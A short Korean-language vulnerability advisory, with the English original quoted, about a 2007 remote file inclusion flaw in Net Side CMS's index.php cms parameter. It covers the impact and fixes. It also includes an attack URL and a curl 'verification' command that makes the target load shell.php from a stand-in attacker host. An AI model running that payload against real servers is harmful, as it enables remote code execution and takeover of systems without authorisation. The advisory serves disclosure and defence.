🇰🇷 한글 설명
Net Side CMS의 index.php 파일에서 발견된 원격 파일 포함(RFI) 취약점으로, cms 매개변수를 통해 공격자가 악의적인 파일을 로드하여 임의의 PHP 코드를 실행할 수 있습니다. 이는 2007년 발견된 오래된 취약점으로, 웹서버 전체에 대한 완전한 제어권을 획득할 수 있는 심각한 결함입니다.
💡 쉬운 설명
악의적인 사용자가 특정 매개변수(cms)에 악성 파일의 URL을 입력하면, 서버가 그 파일을 실행하게 되어 공격자가 시스템을 자유롭게 조종할 수 있게 됩니다. 마치 낯선 사람에게 집의 문을 열어주고 아무거나 하도록 허용하는 것과 같은 상황입니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in index.php in Net Side Content Management System (Net-Side.net CMS) allows remote attackers to execute arbitrary PHP code via a URL in the cms parameter.
📍 영향받는 시스템
Net Side Content Management System (Net-Side.net CMS) - 버전 정보 명시 없음, 일반적으로 2007년 이전 버전
⚔️ 공격 벡터
http://target/index.php?cms=http://attacker.com/malicious.php 형태의 GET 요청으로 원격 URL 포함
🛡️ 대응 방법
Net Side CMS를 최신 버전으로 업그레이드하거나, 입력값 검증 및 파일 포함 함수(include, require) 사용 제거, 화이트리스트 기반 매개변수 검증 구현
🔧 검증 코드
서버가 원격 파일을 실행하면 예상치 못한 PHP 출력이나 공격자 코드의 결과가 표시되며, 정상이면 404 또는 오류 메시지가 반환됩니다.
curl -s 'http://target/index.php?cms=http://attacker.com/shell.php' | head -20